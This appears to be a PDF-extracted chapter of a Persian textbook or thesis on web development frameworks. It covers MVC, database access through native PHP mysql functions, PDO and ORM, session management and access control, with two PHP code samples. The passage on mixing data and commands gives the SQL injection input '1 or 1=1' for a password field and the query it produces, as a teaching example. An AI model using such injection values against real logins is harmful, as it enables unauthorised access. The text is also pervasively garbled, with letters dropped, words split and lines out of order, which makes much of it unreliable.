های ظاهری نویس به هنگام طراح  مدل، توجه  به ماهیت وبی برنامه و ویژگ برنامه
نماید. ارتباط با پای اه داده ای برنامه تمرکز م آن ندارند و تنها بر روی منطق و کارکرد هسته

  ها نیز از وظایف مدل است.و دی ر انواع مدیریت داده

) نیز تنها وظیفه نمایش را بر عهده دارد. بخش ظاهر، مقداری داده را در Viewر (ظاه
های معمول (جدول، درخت، لیست، عنصر) دریافت کرده، آنها را بر روی صفحه قالب

تواند چندین ظاهر مختلف داشته باشد، به عنوان م  MVCدهد. ی  سیستم نمایش م 
  ایل و ی  ظاهر کامل برای کاربران رومیزی.مثال ی  ظاهر ساده برای کاربران موب

کنترل ر در این میان، وظیفه دریافت ورودی از کاربر، پردازش اولیه آن (پردازش غیر 
های مربوطه، دریافت منطق  و رخدادی)، تشخیص نوع درخواست، هدایت آن به مدل

  های بدست آمده به ظاهر را دارد.ها و ارائه دادهحاصل اجرای مدل
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شود، مربوط به پردازش ورودی کاربر و کدی که در ی  کنترل ر انجام م  بیشتر
  های مربوطه است.فراخوان  مدل

، به ازای هر بخش (و معمولا هر صفحه) ی  کنترل ر، صفر تا MVCدر ی  سیستم 
چند مدل و ی  یا چند ظاهر وجود دارد. این تقسیم بندی، باعث استقلال نسبی صفحات 

- نین استقلال نسبی منطق، ظاهر و ورودی/خروج  صفحه از ی دی ر م از ی دی ر و همچ

سازد. همچنین تغییرات در ظاهر صفحه، شود و کار تیم  بر روی پروژه را بسیار ساده م 
  گردد.ورودی/خروج  صفحه و منطق صفحه هرکدام جداگانه انجام و اعمال م 

 Front Controllerه نام ، معمولا ی  کنترل ر مرکزی بMVCهای مبتن  بر سیستم
ده  آنها و اجرای های کاربر، تفکی  و آدرسدارند که وظیفه دریافت همه درخواست

  کنترل ر مربوطه را دارد.
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  معماری مدل، نما، کنترلر ٤٤شل 

 

٢٬۵٬٢ Component Based MVC 

است. به عنوان ، استفاده مجدد بسیار کم از کدهای آماده MVCاز مش لات عمده 
مثال اگر دو صفحه ظاهری بسیار شبیه و پیچیده داشته باشند، راه معمول  برای استفاده 

سازی تحت وبی که های برنامهمجدد از کد ی   در دی ری وجود ندارد. این مسئله در زبان
  نماید.خروج  انبوه در آنها مش ل است (مانند جاوا) بیشتر رخ م 

محوربود. در این  Componentها در توسعه وب، توسعه نه زبانراه ار ابتدایی اینگو
روش، هر المان نمایش  ی  مولفه مستقل است که پس از تنظیم پارامترهایش، خروج  

دهد. به عنوان مثال، ی  جدول ی  ش ء است که پس از تنظیم مربوطه را نمایش م 
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کند و کد رسم صفحه رسم م های کل  ظاهری آن، خود را بر روی منبع اطلاعات و ویژگ 
  آن ی بار برای همیشه در ش ء آن تنظیم شده است.

های  مثل مش ل این روش، عدم ام ان چیدمان دلخواه صفحه بود. در واقعه چهارچوب
wicket ها کنند تا برای هر صفحه، سلسله مراتبی درخت  از مولفهنویس را مجبور م برنامه

  ا را استفاده مجدد کند. بچیند تا بتواند به سادگ  آنه

بی تر به  MVCنیز در این روش وجود نداشت، زیرا  MVCهمچنین سادگ  طراح  
  خواهد نزدی  است.چیزی که کاربر سیستم از آن م 

به وجود آمد. این ال و، ام ان  Component Based MVCاز ترکیب این دو روش، 
آورد. بدین ها را فراهم م  Viewدر  هایی به صورت مستقل و استفاده از آنهاتعریف مولفه

  توان استفاده مجدد از کد را فراهم آورد.م  Refactoringصورت به سادگ  با 

های مختلف کد احاطه کاف  دارد، نویس ارشد که به بخشها، بر امهبرای تهیه مولفه
سازد. م  های مشابه را شناسایی کرده، آنها را مولفه محور کرده و مولفه مربوطه راقسمت

  نکرده و در فاز بلوغ است. کسبدر حال حاضر این روش هنوز محبوبیت تجاری 

ها با کشیدن دریافت است زیرا نما ظاهر خود را از مولفه Pull MVCنام دی ر این ال و، 
.م    کند

  

 های توسعه وبچهارچوب ٢٬٦

نند آجر و وب، ی  بستر ساده و جم  و جور برای ارائه میلیون ها کاربرد است. وب ما
فلز است، با آجر و فلز م  توان ی  ساختمان ساخت، اما اگر هزاران شرکت قصد ساختن 
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هزاران ساختمان بزرگ را داشته باشند، اصلا معقول نیست که همه از آجر و فلز استفاده 
کنند. در عوض از ابزار از پیش آماده، فلزهای برش خورده مختلف، آجرهای مختلف و ... 

  یینتری ساختمان خود را م  سازند.کنند و با صرف هزینه و زمان بسیار پا استفاده م 

حال اگر بخواهند ساختمان  بسازند که همه ایده های آن جدید باشد، باید خود از ابتدا 
  آجرها و فلزها را تراش دهند و ابزار خود را آماده سازند.

 

  بوب توسعه وب در کنار کاوشرهاهای محتاریخچه چهارچوب ٤٥شل 

  

  انواع چهارچوب به تفکی نوع زبان ٢٬۶٬١
  توان به دو دسته کل  تقسیم نمود:های توسعه وب را م چهارچوب

  های غیر وبیهای موجود بر روی زبانالف) چهارچوب

  های وبیهای موجود بر روی زبانب) چهارچوب
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چندین زبان قرار دارند و ها بر روی لازم به ذکر است که برخ  از چهارچوب  
-سازی نیستند، ول  این تفکی  از سطح  بالاتر به موضوع م محدود به ی  زبان برنامه

  نگرد.

 های غیر وبیهای موجود بر روی زبانچهارچوب ٢٬٦٬١٬١

اند، ابتدا باید کدهای مربوط به های غیر وبی طراح  شدههایی که برای زبانچهارچوب
که برای زبان  djangoا باشند. به عنوان مثال چهارچوب های وبی را داررفتار پروتکل

python  های وجود دارد، رفتار و ویژگHTTP .را در خود گنجانیده است 

های های زبانهای جانبی که چهارچوبها باید ویژگ در ادامه این دسته از چهارچوب
معمولا کم هستند ول   ها به دلیل پیچیدگ   زیاد،وبی دارند نیز دارا باشند. این چهارچوب

  گردد.استفاده قابل توجه  از آنان م 

 های وبیهای موجود بر روی زبانچهارچوب ٢٬٦٬١٬٢

های مشترک و پرکاربرد سازی ویژگ های وبی، به پیادههای مخصوص زبانچهارچوب
، افزارهای مبتن  بر وبپردازند. با توجه به تنوع نیازهای انواع نرمافزارهای وب م انواع نرم

  هایشان وجود دارد.ها، ام انات و محدودیتتنوع زیادی نیز در این چهارچوب

کنند که در سازی م های وبی ام انات مشترک  را پیادههای مخصوص زبانچهارچوب
  ادامه بدانها اشاره خواهد شد. 

٢٬۶٬٢ های توسعه وبهای مشترک چهارچوبویژگ 

زارهای میز کار) از ام انات مشترک بسیاری افافزارهای مبتن  بر وب (و حت  نرماکثر نرم
توان به مدیریت کابران و مدیریت نشست اشاره نمود. در گیرند. از این ام انات م بهره م 

  ادامه موارد مهم این ام انات به تفصیل مورد بررس  قرار خواهند گرفت:
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 دهدسترس به دا ٢٬٦٬٢٬١

افزار، مدیریت دسترس  به ترین وظایف ی  چهارچوب توسعه نرماز مهمترین و معمول
داده ها نیز مبتن  بر ی  پای اههای دی ر چهارچوبداده است. از آنجایی که اکثر کاربردپای اه

  گردد.است، این ویژگ  ابتدا و به عنوان زیرساخت ام انات چهارچوب ارائه م 

ررس  برای دسترس  به پای اه داده، سه روش کل  وجود دارد که در ادامه به تفصیل ب
خواهند شد. لازم به ذکر است که دسترس  به داده از مهمترین نقاط ضعف و قوت امنیت  

افزارهای حاصل از آن خواهد بود که در مورد مخاطرات آن در بخش ی  چهارچوب و نرم
 مخاطرات امنیت  بحث خواهد شد.

 )Nativeدسترس به داده مستقیم ( ٢٬٦٬٢٬١٬١

ای توابع، دادهخود را دارد. همچنین هر پای اهای ام انات منحصر بفرد دادههر پای اه
داده و نویسان پای اه  برای هر پای اهام انات و رفتارهای خاص خود را نیز داراست. برنامه

نویسان زبان کنند ت  ب نامهایجاد م » نویس  پای اه واسط برنامه«هر زبان توسعه وب، ی  
  داده مربوطه کار کنند.با پای اه مربوطه با استفاده از آن بتوانند به سادگ 

داده خود دارای موتور پردازش  و ام ان اجرای دستورات متنوع از آنجایی که هر پای اه
نماید اهمیت اجرایی دارند و افزار از طریق واسط به پای اه ارسال م هایی که نرماست، داده

های داده بسیار حائز پای اه شوند. توجه به این نکته در بررس  امنیت در پای اه اجرا م 
  اهمیت است.

های متنوع دادهدارا بودن واسط کار با انواع پای اه PHPهای زبان از بارزترین ویژگ 
  اند.است. کارشناسان ی   از دلایل محبوبیت این زبان را همین ام ان ذکر کرده
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ه در برنامه و ) ی  پای اه دادNativeهای محل  (مش ل عمده در استفاده از چهارچوب
همچنین در چهارچوب توسعه وب، محدود کردن سیستم به آن سیستم پای اه  و لذا 

ها از این ام ان شود. به همین دلیل اکثر چهارچوبمحدود کردن مخاطبان آن ذکر م 
.استفاده نم    نمایند

نویس  دارای چندین واسط برنامه MySQLهای پر مخاطب مانند همچنین برخ  پای اه
  سازی هستند که برخ  واسطها ام انات و پیچیدگ  بیشتری دارد.های برنامهر بعض  زباند

  گردد:داده، فرآیند زیر ط  م به طور کل  در این روش کار با پای اه

 اتصال به پای اه   ) أ

 mysql_connectدستور  MySQL , PHPدر این مرحله، با دستوری خاص (مثلا برای
نام کاربری و رمز عبور و همچنین آدرس سرور پای اه به آن، اتصال  شود) و ارائهاستفاده م 

  شود. به پای اه داده برقرار م 

به معن  سیستم  که بر روی آن برنامه اجرا  localhostآدرس سرور پای اه معمولا 
بر روی همان سیستم   های سرور پای اه داده نیزگیرد زیرا در اکثر معماریمیشود، قرار م 

وب قرار دارد. در صورت  که سرور پای اه بر روی ی  سیستم اختصاص  اجرا شده سرور 
  توان آدرس آنرا ارائه داد.باشد، م 

های مختلف و انواع این های مختلف داده از سرورهای داده دسترس  به قسمتپای اه
ار مربوطه افزکنند، لذا نرمهای عبور محدود م های کاربری و رمزها را توسط نامدسترس 

  ها را ارائه نماید.جهت اتصال باید این پارامتر

-) در متن برنامه قرار م Hardcodeاز آنجایی که این پارامترها به صورت کدسخت (

گیرند، در صورت  که نفوذگری به کد منبع برنامه دسترس  پیدا کند، آنها را خواهد یافت. 
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داده از روی ربری و رمز عبور به پای اهبه همین دلیل معمولا محدودیت دسترس  ی  نام کا
گردد (تا نفوذگر از روی رایانه شخص  خود نتواند مستقیما به ی  سرور خاص نیز اعمال م 

  پای اه متصل شود)

افزار با بی حوصل   انجام شود، در ) نرمDeploymentاندازی (ِ در صورت  که راه
یا   rootرمز عبور مدیر پای اه داده ( داده آن، نام کاربری وتنظیمات اتصال به پای اه

sysadmin افزار با دسترس  کامل به سادگ  کار کند. این عمل از منظر شود تا نرم) درج م
امنیت  بسیار بسیار خطرناک است، زیرا در صورت  که نفوذگری بتواند ی  برنامه روی سرور 

ر دسترس  کامل پیدا خواهد های روی آن سروهای تمام برنامهرا ه  کند، به تمام داده
  کرد.

 انتخاب منبع داده مربوطه ) ب

کند، لذا پس از داده کار م داخل ی  سرور پای اه افزار تنها با ی  پای اهمعمولا هر نرم
) آنرا انتخاب نماید PHP,MySQLدر  mysql_select_dbتواند با دستور خاص  (اتصال م 

  انجام شود و نیازی به ذکر صریح نام آن نباشد. تا تمام دستورات بعدی در قالب آن پای اه

 ارسال دستورات ) ت

داده و بررس  حاصل آنها به پای اه SQLقسمت عمده ی  برنامه به ارسال دستورات 
  گردند:) به سه دسته اصل  تقسیم م SQLپردازد. دستورات پای اه  (م 

i( Data Definition Language (DDL)  دستورات تعریف داده که :
ها ی بار در ابتدای ایجاد پای اه تعیین ساختار جداول و فیلد جهت

 شونداستفاده م 
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ii( Data Manipulation Language (DML)  دستورات تغییر و :
-ها در تمام طول عمر استفاده م دستکاری داده که جهت کار با داده

 شوند.

iii( Data Control Language (DCL)   دستورات کنترل داده که جهت :
شود و معمولا در ابتدای ها استفاده م دسترس  کاربران به داده تعیین

 ساخت کاربرد دارند.

 

 های پایاهزبان استاندارد درخواست Structured Query Language ٤٦شل 

ها، تنها دستورات تغییر داده در ی  از سه دسته فوق، در اکثر قریب به اتفاق کاربرد
اندازی برنامه انجام شوند. دو دسته دی ر توسط ابزار پای اه  قبل از راهه استفاده م برنام
  آورند.شوند و بستر را فراهم م م 

گویند. دستورات (درخواست) م  Queryبه دستورات ارسال  به ی  پای اه داده 
  دستکاری داده چهار دستور اصل  هستند:

i( DELETE آید. خروج  مطلوب آن : جهت حذف رکوردها به کار م
 معمولا تعداد رکوردهای حذف شده است
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ii( UPDATE آید. خروج  مطلوب آن : جهت تغییر رکوردها به کار م
 تعداد رکوردهای تغییر یافته است.

iii( INSERT آید. در صورت  که درج تک  : جهت درج  رکورد به کار م
  انجام شود، خروج  مطلوب شناسه رکورد درج شده است و در صورت

 که درج گروه  انجام شود تعداد رکوردهای درج شده مطلوب است.

iv( SELECT  جهت بازخوان  و دریافت رکوردها کاربرد دارد. خروج :
مطلوب تعداد و داده رکوردهاست. خروج  این دستور معمولا حجیم 

 است و تنها ی  عدد نیست.

ی  دستگیره (شماره  سازی، پای اه داده تنهاپس از اجرای ی  دستور در زبان برنامه
شود ول  گرداند. در صورت  که دستور سه نوع اول باشد، انجام م شناسه پی یری) باز م 

،  SELECTدریافت پاس  آن مستلزم اجرای تابع  دی ر است. در صورت  که دستور  باشد
  گردد.شود بل ه فقط مهیای اجرا م اجرا نم 

ر سیستم پای اه  توسط تابع رکوردهای از چهار دستور فوق، خروج  دو دستور اول د
) . این تابع PHP,MySQLدر  mysql_affected_rowsتغییر یافته قابل دستیابی است (

  گیرد.دستگیره درخواست را به عنوان ورودی م 

توسط  SELECTگروه  و همچنین تعداد رکوردهای حاصل از  INSERTخروج  
). PHP,MySQLدر  mysql_num_rows(تابع رکوردهای یافت شده قابل دسترس  است. 

  گیرد.این تابع نیز دستگیره درخواست را به عنوان ورودی م 

درون جدول  دارای کلید اصل  ساده اجرا شود که توسط خود  INSERTدر صورت  که 
که  –)، دریافت کلید صادر شده Auto Incrementشود (ده  م داده کلیدسرور پای اه
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در  mysql_last_insert_idگیرد. (توسط تابع خاص  صورت م  –ست بسیار پرکاربرد نیز ه
PHP,MySQL کند  ا مش ص  اشد ) این تابع نیز دستگیره آخرین درخواست را دریافت م

  کلید ایجاد شده مربوط به کدام درخواست مورد نظر است.

ل که در واق  تعدادی رکورد است، به صورت مستقیم قاب SELECTاما خروج  دستور 
شود تا وقت  که قسمت  از دستیابی نیست. همانطور که ذکر شد این دستور اصلا اجرا نم 

  خروج  آن درخواست شود.

شود، حجیم بودن احتمال  به صورت مستقیم ارجاع نم  SELECTدلیل اینکه خروج  
تواند حجم قابل توجه  داشته باشد و همچنین ی  دستور آن است. ی  رکورد پای اه  م 

SELECT  ها بر تواند چندین و چند رکورد را ی جا درخواست نماید. اگر تمام این دادهم
ها و نگهداری آنها روی حافظه اصل  سیستم بار شوند، هدف سیستم پای اه  (مانایی داده

  بر روی حافظه جانبی) دی ر برقرار نخواهد بود.

فیلد دریافت کرد. از  توان رکورد رکورد یا حت  فیلدرا م  SELECTخروج  دستور 
های توسعه وب خروج  کوچ   دارند، چهارچوب SELECTآنجایی که اکثر دستورات 

اند. در غیر اینصورت باید ام ان دریافت ی باره کل پاس  آنها را توسط ی  تابع فراهم کرده
ه شود، آنها را ی   ی   از پای اه داددر ی  حلقه که به تعداد رکوردهای موجود اجرا م 
  دریافت کرد و عملیات مورد نظر را روی آنها اجرا نمود.

در صورت  که ی  رکورد نیز حجیم باشد باید از ام انات خاص هر پای اه  جهت جریان  
  ) خروج   بهره رفت.Streamingکردن (
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 قط  ارتباط ) ث

ن داده، باید اتصال را آزاد نمود. هر سرور پای اه  ی  مخزدر انتهای کار با ی  پای اه
کند که در ) جهت تسریع و تسهیل ایجاد ارتباط ایجاد م Connection Poolاتصال (

صورت  که اتصالات ایجاد شده در اولین فرصت آزاد نشوند، ام ان پر شدن آن و رد شدن 
 Denial ofها این امر منجر به آید. در اکثر سیستمدرخواست اتصال جدید پیش م 

Service  افزارها بدون پای اه داده فل  م شود زیرا نرمسیستم م و از دسترس خارج شدن -

.   شوند

 تکرار کل فرآیند ) ج

های مبتن  بر وب معمولا به ازای هر درخواست وب کاربر ی بار از از آنجایی که برنامه
شوند، به ازای هر درخواست باید ی بار به پای اه داده متصل شوند و ابتدا تا انتها اجرا م 

  رد نظر را ارسال کنند.های مودرخواست

اندازی بستر خود (که معمولا توسط چهارچوب ای در ابتدای راهمعمولا  ر  رنامه
های لازم را در دسترس کند تا بتواند دادهگیرد) اتصال به پای اه را برقرار م صورت م 

و قط   افزارهای تحت وب قط  اتصال به پای اه را به اتمام اجراداشته باشد. اما اکثر نرم
کنند. این امر بسیار خطرناک است زیرا ی  نفوذگر به خودکار بعد از بسته شدن موکول م 

تواند با باز نگهداشتن چندین اتصال مخزن اتصال سرور پای اه داده را اشباع سادگ  م 
-بهره م  MVCهایی که از ال وی کرده، سرور را از دسترس خارج نماید. در چهارچوب

  اندازی نما، مفید خواهد بود.صال پس از کارکرد مدل و راهگیرند، قط  ات

سازی س  و صفر، داده موجود در بازار، ی  واسط محل  برای زبان برنامهبرای هر پای اه
های دی ر موجود است. این امر استفاده از این تکنولوژی را ی  یا چند واسط برای زبان

  سازد.کم  دشوار م 
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  ):PHP,MySQLدهد آورده شده است (این چرخه را نشان م در ادامه قطعه کدی که 

<?php 
$conn = mysql_connect("localhost", "mysql_user", "mysql_password"); 
 
if (!$conn) { 
    echo "Unable to connect to DB: " . mysql_error(); 
    exit; 
} 
 
if (!mysql_select_db("mydbname")) { 
    echo "Unable to select mydbname: " . mysql_error(); 
    exit; 
} 
 
$sql = "SELECT id as userid, fullname, userstatus 
        FROM   sometable 
        WHERE  userstatus = 1"; 
 
$result = mysql_query($sql); 
 
if (!$result) { 
    echo "Could not successfully run query ($sql) from DB: " . 
mysql_error(); 
    exit; 
} 
 
if (mysql_num_rows($result) == 0) { 
    echo "No rows found, nothing to print so am exiting"; 
    exit; 
} 
 
// While a row of data exists, put that row in $row as an 
associative array 
// Note: If you're expecting just one row, no need to use a loop 
// Note: If you put extract($row); inside the following loop, you'll 
//       then create $userid, $fullname, and $userstatus 
while ($row = mysql_fetch_assoc($result)) { 
    echo $row["userid"]; 
    echo $row["fullname"]; 
    echo $row["userstatus"]; 
} 
 
mysql_free_result($result); 
 
?> 
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٢٬٦٬٢٬١٬٢ ) به داده انتزاع دسترسAbstraction Layer( 

های پای اه  مختلف، داده، جهت رف  مش لات ناهماهنگ  سیستممتخصصات پای اه
  اند.ها نموده) پای اهNativeهای محل  (های انتزاع  بر روی واسطاندازی لایهاقدام به راه

نماید و خاص خود) دریافت م  ی  لایه انتزاع ، دستورات را به قالب استاندارد (یا قالب
ای برقرار شده است، آنرا به دستور معادل در دادهبسته به اینکه اتصال به چه نوع پای اه

.سیستم مربوطه تبدیل م    کند

اندازی استفاده از این تکنولوژی، ام ان تغییر زیرساخت پای اه  و لذا بسط بستر راه
سازد. در عوض به منحصربفرد هر پای اه را مم ن م  هایافزار و ام ان استفاده از ویژگ نرم

گیرد سرعت اجرا تا حد قابل اغماض  کمتر خواهد دلیل تبدیلات  که هنگام اجرا صورت م 
  بود.

گیرد بسیار مهم صورت م  DMLتوجه به این نکته که این لایه انتزاع  فقط بر روی 
- ه صورت دست  یا برای پای اهخود را ب DDL/DCLاست. توسعه دهندگان باید دستورات 

  های مختلف به صورت متفاوت تهیه نمایند.

ها سازی وجود دارد. برای برخ  زبانسازی، ی  یا چند لایه انتزاع برای هر زبان برنامه
توان آنرا این لایه اصلا وجود ندارد. این لایه نیز خود ی  کتابخانه بزرگ از کد است که م 

  به نوع  چهارچوب نامید.

 Database( DBA) و PDO )PHP Data Objectsهای بسته PHPبرای زبان 

Abstraction Layer وجود دارند که (PDO های بسیار محبوب است و تقریبا تمام  پای اه
.داده را پشتیبان  م    نماید
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و  ODALبسیار محبوب است. برای زبان جاوا نیز  ADO.NET، بسته ASPبرای زبان 
Hibernate  اند.این کاربرد را فراهم آوردهام ان  

ها را ندارد و معمولا برای انتقال سازی ام ان تبدیل تمام  استفادههای انتزاع لایه
نیز تا حدود قابل توجه   SQLافزار از ی  پای اه به پای اه دی ر، باید دستورات بستر نرم

  تغییر کند ول  حداقل نیازی به تغییر خود کد نیست.

اند و آنرا افزودن پیچیدگ  یر برخ  به مقابله با این تکنولوژی برخواستهدر سالهای اخ
نیز از  PHPاند. راسموس لردوف، طراح زبان زائد، کند کردن سیستم و غیر سودمند دانسته

  این دسته است.

 

 ADOنمایه لایه انتزاع سازی  ٤٧شل 

 ارائه شده است: PDOدر ادامه نمونه کدی با استفاده از 

<?php 
$dbh = new PDO('mysql:dbname=test;host=localhost', $username, 
$password); 
// insert some data using a prepared statement 
$stmt = $dbh->prepare("insert into test (name, value) values (:name, 
:value)"); 
// bind php variables to the named placeholders in the query 
// they are both strings that will not be more than 64 chars long 
$stmt->bindParam(':name', $name, PDO_PARAM_STR, 64); 
$stmt->bindParam(':value', $value, PDO_PARAM_STR, 64); 
// insert a record 
$name = 'Foo'; 
$value = 'Bar'; 
$stmt->execute(); 
// and another 
$name = 'Fu'; 
$value = 'Ba'; 
$stmt->execute(); 
// get all data row by row 
$stmt = $dbh->prepare('select name, value from test'); 
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$stmt->execute(); 
while ($row = $stmt->fetch(PDO_FETCH_ASSOC)) { 
    print_r($row); 
} 
?> 

 

 )ORMنگاشت روابط اشیاء ( ٢٬٦٬٢٬١٬٣

-داده و برنامه) تکنولوژی بسیار مهمیست که دنیای پای اهORMنگاشت روابط اشیاء (

است. با استفاده از این نگاشت، با ایجاد تعدادی فایل جهت تعریف نویس  آنرا متحول کرده
پای اه  ها، کتابخانه مربوطه به صورت خودکار ارتباط میان اشیای درون برنامه بانگاشت

شوند و هرگونه تغییری که بر ) م Persistantسازد. پس از آن، اشیا مانا (داده را برقرار م 
  شود.روی آنها اعمال شود به صورت خودکار در پای اه داده نیز درج م 

داده آشنایی کاف  ندارند کار را نویسان  که با پای اهاین تکنولوژی، خصوصا برای برنامه
کند و همچنین با ایجاد ی  لایه انتزاع  (نگاشت)، ام ان ایجاد تغییرات در  بسیار راحت م

  آورد.پای اه بدون نیاز به تغییر کد را فراهم م 

 –ایست های متعدد و سادههمچنین از آنجایی که نگهداری و تغییر کد دارای تکنولوژی
اری و ایجاد تغییرات دائم با این روش ام ان نگهد –که معادل آنها در پای اه داده کم است 

  شود.در سیستم فراهم م 

ها اهمیت معضل اصل  این روش کاهش سرعت قابل توجه آنست (که در اکثر سیستم
یابد. همچنین در مواردی که چندان  ندارد) ول  در عوض سرعت توسعه بسیار افزایش م 

  پاگیر خواهد بود. های پیچیده پای اه  مورد نیاز باشد، این روش کم  دست ودرخواست
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آسا هستند و با های لایه انتزاع  بسیار غولبه نسبت  تابخ نه ORMهای کتابخانه
(ایجاد ی  کلاس میان  برای دسترس  به اشیا) و  Proxy Patternاستفاده از ال وی 

.(ام ان مطالعه کد در خود کد) به اهداف مربوطه دست م  Reflectionهمچنین    یابند

برای  doctrineبرای جاوا،  hibernateتوان به م  ORMهای ن کتابخا هاز معروفتری
PHP ،Rails  برایRuby و  Entity  برایASP.NET .اشاره کرد  

  

  تفکی داده از دستور در پایاه داده ٢٬٦٬٢٬١٬٤
ها به صورت داده، معمولا دارای فرامین و داده) پای اهQueryاز آنجایی که ی  دستور (

  آید. به عنوان مثال دستورنیت  بسیاری پدید م توام است، معضلات ام

SELECT * FROM Users WHERE Username=? AND Password=? 

هنگام  صحیح است که به جای علامت سوال، مقدار واقع  مورد نظر قرار ب یرد. مقدار 
و  شود. از آنجایی که هیچ تفکی   در دادهمورد نظر معمولا توسط کاربر به برنامه ارسال م 

،  or 1=1 1فرمان ایجاد نشده است، در صورت  که مقدار ورودی کاربر برای رمز عبور  باشد
  شود:دستور پای اه به صورت زیر م 

SELECT * FROM Users WHERE Username=? AND Password=1 or 1=1 

که همواره برقرار است (مانند اینکه رمز صحیح را وارد کرده باشد). به همین دلیل، 
تارهای دی ری برای تفکی  داده از دستور در پای اه داده ایجاد شده که در بخش ساخ

  مخاطرات به تفصیل بررس  خواهد شد.
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 مدیریت کاربران ٢٬٦٬٢٬٢

های وبی در دسترس عموم هستند، اعمال زیرساخت امنیت  از آنجایی که اکثر سیستم
AAA )Authentication, Authorization, Accountingز هویت، کنترل ) به معنای احرا

  دسترس  و حسابرس ، در آنها لازم است.

گیرد (و یا های امروزی توسط نام کاربری و رمز عبور صورت م احراز هویت در سیستم
های امروزی نیازمند زیرساخت مدیریت کاربران هستند. راه ارهای دی ر). لذا همه سیستم

دهد تا نویسان خود قرار م برنامه های توسعه وب نیز این زیرساخت را در اختیارچهارچوب
  ای، ایجاد، حذف، تغییر و ورود وخروج کاربران را بررس  نمایند.با توابع ساده

سازی صحیح و از آنجایی که احراز هویت فرآیند محوری امنیت هر سیستم است، پیاده
  کامل این بخش اهمیت بسزایی دارد.

 مدیر ت نشست ٢٬٦٬٢٬٣

) است. اگر شما وارد ی  وبسایت شوید، و Statelessوب، ی  پروتکل بی وضعیت (
روی ی  لینک کلی  کنید، وبسایت مربوطه ام ان تشخیص تفاوت کار شما با اینکه دو 

  کاربر این دو صفحه را به صورت مجزا باز کرده باشند ندارد.

تواند پی یری مستقیم به عبارت دقیقتر، وب وضعیت کار ی  کاربر (ی  نشست) را نم 
 . شود. است استفاده م  HTTPکه ی   از ام انات  Cookieبرای رف  این مش ل، از نماید

کوک  ی  قطعه اطلاعات کوچ  است، که کاوش ر وب در هر بار درخواست از ی  
.وبسایت، برای آن ارسال م    کند

ها نیز با ایجاد زیرساخت مدیریت نشست و با استفاده از کوک ، ام ان ردگیری وبسایت
کنند. در صورت  که نشست وجود نداشت، ایجاد نشست برای هرکاربر را فراهم م کاربر و 
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ای از ورود به سیستم نیز معنا نداشت زیرا در درخواست بعدی کاربر، سرور هیچ خاطره
ورود وی به سیستم نداشت، لذا ایجاد نشست در ابتدای باز کردن سایت (یا با تاخیر هنگام 

  شود.ورود کاربر) انجام م 

  فرآیند ایجاد نشست به صورت زیر است:

در صورت  که کاوش ر، در کوک  خود شماره خاص  را تحت عنوان شماره  •
شود و سرور از او نشست برای سرور ارسال نکرد، این کاربر تازه وارد تلق  م 

- درخواست قرار دادن ی  شماره ایجاد شده تصادف  در کوک  مربوطه را م 

.  کند

ای بعدی کاوش ر (قبل از باطل شدن کوک  که زمان هدر همه درخواست •
قابل توجه  لازم دارد)، شماره نشست مربوط به کاربر مذکور توسط کوک  

ها را در بانک اطلاعات  شود. سرور نیز لیست این شمارهبه سرور ارسال م 
 هایی داشته است.تواند ردگیری کند که هرکدام چه فعالیتخود داشته و م 

که آخرین دسترس  کاربر به سایت مربوطه زمان مشخص  در صورت   •
معمولا  دقیقه) پیش بوده باشد، سرور از پذیرفتن شماره نشست وی  ٣٠(
. کند، و در ادامه نشست جدیدی ایجاد م کند و آنرا باطل م امتناع م  کند

 رود.های کاربر و ورود وی به سیستم از بین م در ط  این فرآیند فعالیت

دقیقه وقفه ایجاد  ٣٠کاربر دائما در حال کار با سیستم باشد (و  حت  اگر •
نکند) شماره نشست وی پس از مدت معین  (معمولا ی  هفته) در سرور 

 شود.باطل م 
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شود که در سایتها پیاده م  Remember Meتوجه داشته باشید که این کار ربط  به 
  د. شوندارد و به صورت نامحسوس توسط کاوش ر انجام م 

از آنجایی که سرور وب، تشخیص ی  کاربر را به نشست وی، و تشخیص ی  نشست را 
کند، در صورت  که شخص  بتواند به شماره نشست شخص به شماره نشست وی موکول م 

تواند دزدی دی ری دست پیدا کند و آنرا در کوک  خود قرار دهد (ایجاد کوک  جعل ) م 
م داده و سرور را طوری گول بزند که فرض کند وی ) انجاSession Hijackingنشست (

همان کاربر است (و حت  اگر در سیستم وارد شده باشد، جعل کننده نیز بدون هیچ تلاش  
  شود).داخل سیستم تلق  م 

های امنیت  هر به همین دلیل و دلایل دی ر، مدیریت نشست از مهمترین زیرساخت
  ای دارد.العادهصحیح آن اهمیت فوق سازیشود و پیادهچهارچوبی دانسته م 

٢٬٦٬٢٬٤ کنترل دسترس 

های بزرگ ترین و مهمترین زیرساخت تامین امنیت سیستمکنترل دسترس  کلیدی
کند که شخص مورد نظر کیست (و حتما همان کس  است است. احراز هویت مشخص م 

انجام  کند که آیا شخص مربوطه، اجازهکند) ول  کنترل دسترس  مشخص م که ادعا م 
  کار مربوط را دارد یا خیر.

توان مجوزهای ایجاد کاربر، حذف کاربر و تغییر کاربر به عنوان مثال در ی  سیستم، م 
را تعریف کرد و سپس به برخ  از کاربران اجازه انجام همه آنها و به برخ  دی ر اجازه انجام 

کند، زیرساخت کنترل مین م ها را بررس  و تضبرخ  از آنها را داد. سیستم  که این اجازه
  ) نام داردAccess Controlدسترس  (

  سازی کنترل دسترس  معمول است:به طور کل  دو روش جهت پیاده
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٢٬٦٬٢٬٤٬١ ) لیست کنترل دسترسACL( 

های کوچ  و ساده کاربر دارد و اکثر این روش ساده، برای کنترل دسترس  سیستم
شود روش ی  جدول دوسطری ایجاد م کنند. در این ها از این روش استفاده م سیستم

گیرد. هر کاربری که مجوزی را که در سطر اول آن، کاربر و در سطر دوم آن مجوز قرار م 
  داشته باشد، در جدول مربوطه در روبروی مجوز مربوطه لیست شده است.

افزاری که کنترل دسترس  نیاز دارند، از این روش استفاده تقریبا تمام  تجهیزات سخت
سازی از همین روش افزاری موجود نیز به دلیل سادگ  پیادههای نرمکنند. اکثر سیستم م

.بهره م    گیرند

 ١٠٠ناپذیری آن است. در صورت  که سیستم ما حدود ضعف اصل  این روش در بسط 
مجوز داشته باشد، لیست مربوطه حدود صد هزار سطر خواهد داشت و  ١٠٠٠٠کاربر و 

خواهد شد. این  –و معضل امنیت   –آن دچار خطای انسان  بسیار  مدیریت و نگهداری
 شمار کاربر و چندین مجوز مناسب است.های دارای انگشتروش تنها برای سیستم

 کنترل دسترس نقش محور ٢٬٦٬٢٬٤٬٢

Role Based Access Control  استاندارد کنترل دسترس  توسطNIST  موسسه )
رد چهار سط  دارد که در هر سط  ملزومات آن استاندارد مل  آمری ا) است. این استاندا

یابند. در حال حاضر سط  ی  و در برخ  موارد سط  دو آن استفاده تجاری افزایش م 
